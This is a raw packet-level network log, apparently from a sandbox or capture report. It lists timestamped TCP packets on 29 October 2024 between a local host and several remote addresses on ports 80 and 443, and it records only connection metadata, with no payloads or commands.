Oct 29, 2024 06:59:37.493525028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493526936 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493541956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493551016 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493557930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493572950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493577003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493587971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493599892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493602991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493624926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493627071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493642092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493649960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493655920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493673086 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493680000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493695974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493697882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493710041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493721008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493724108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493736029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493746996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493755102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493762970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493767977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493777990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493792057 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493798018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493798018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493807077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.493814945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493832111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.493844032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.495884895 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.496951103 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.496951103 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.496964931 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.496978998 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.537693977 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.538455963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.538470030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.538485050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.538501024 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.538516045 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.538518906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.538548946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.538588047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.542913914 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.542934895 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.543587923 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.543595076 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.550215006 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.558410883 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.558434010 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.563695908 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.563700914 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.579029083 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.579083920 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.579195976 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.579318047 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.579329014 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.579346895 CET	49913	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.579355001 CET	443	49913	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.587371111 CET	49919	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.587393045 CET	443	49919	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.587480068 CET	49919	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.587755919 CET	49919	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.587766886 CET	443	49919	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.607074976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607095003 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607110977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607126951 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607139111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607166052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607177973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607250929 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607353926 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607368946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607378006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607386112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607388020 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607402086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607408047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607419014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607426882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607434034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607435942 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607456923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607472897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607472897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607487917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607503891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607526064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607553005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607637882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607657909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607672930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607675076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607687950 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607688904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607705116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607707977 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607718945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607728958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607734919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607743025 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607749939 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607753038 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607764006 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607773066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607779980 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607790947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607800961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.607805014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607825041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.607835054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.613534927 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.614129066 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.614164114 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.614828110 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.614840031 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.628392935 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.628518105 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.628572941 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.628868103 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.628884077 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.628899097 CET	49914	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.628905058 CET	443	49914	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.634211063 CET	49920	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.634241104 CET	443	49920	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.634356022 CET	49920	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.634874105 CET	49920	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.634886980 CET	443	49920	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.657272100 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.662972927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.668557882 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.668754101 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.668883085 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.668906927 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.668920040 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.668941021 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.668947935 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.671597958 CET	49921	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.671631098 CET	443	49921	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.671705008 CET	49921	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.671838999 CET	49921	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.671855927 CET	443	49921	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.689516068 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.689534903 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.689580917 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.689598083 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.689642906 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.689800024 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.689809084 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.690035105 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.690046072 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.692383051 CET	49922	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.692401886 CET	443	49922	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.692662001 CET	49922	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.692780972 CET	49922	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.692795038 CET	443	49922	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.697417974 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.697437048 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.697480917 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.697602987 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.697627068 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.698443890 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.698470116 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.698483944 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.698612928 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.698641062 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.698700905 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.747529984 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.747881889 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.747893095 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.748928070 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.749044895 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.749418974 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.749478102 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.749712944 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.758239985 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.758373022 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.758577108 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.758774996 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.758812904 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.758848906 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.758863926 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.761778116 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.761801004 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.761881113 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.762037992 CET	49923	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:37.762052059 CET	443	49923	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:37.795329094 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.804132938 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.804153919 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.850779057 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.878226995 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.878248930 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.878329039 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.878340960 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.878444910 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.879414082 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.879429102 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.887559891 CET	49924	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.887583971 CET	443	49924	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.887655020 CET	49924	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.888053894 CET	49924	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:37.888063908 CET	443	49924	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.912307978 CET	49925	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.912322044 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.912972927 CET	49925	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.913177013 CET	49925	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.913189888 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.934839010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.934856892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.934873104 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.934917927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.934946060 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.934976101 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.934998989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935014963 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935015917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935029030 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935044050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935050964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935061932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935079098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935085058 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935105085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935126066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935143948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935158968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935174942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935179949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935189962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935203075 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935204983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935216904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935220957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935235023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935239077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935250044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935277939 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935280085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935467958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935491085 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935506105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935508966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935522079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935533047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935538054 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935559034 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935583115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935642004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935662985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935678959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935686111 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935693979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935702085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935714006 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935719013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935726881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935734034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935750008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935750961 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935765028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935765982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935780048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935781002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935801029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935801983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935812950 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935825109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935832024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935838938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935853004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935866117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935868979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935890913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935910940 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.935971975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.935986996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936002016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936011076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936017036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936026096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936031103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936038971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936050892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936058044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936070919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936094999 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936114073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936129093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936144114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936162949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936187029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936295033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936311007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936326027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936333895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936342001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936355114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936357975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936373949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936374903 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936394930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936397076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936423063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936433077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936451912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936475039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936491013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936496973 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936505079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936517954 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936521053 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936532974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936537027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936547041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936566114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936573029 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936621904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936638117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936652899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936660051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936669111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936685085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936686993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936692953 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936721087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936727047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936744928 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936809063 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.936959028 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.936975002 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.937021017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.937105894 CET	80	49888	185.215.113.206	192.168.2.5
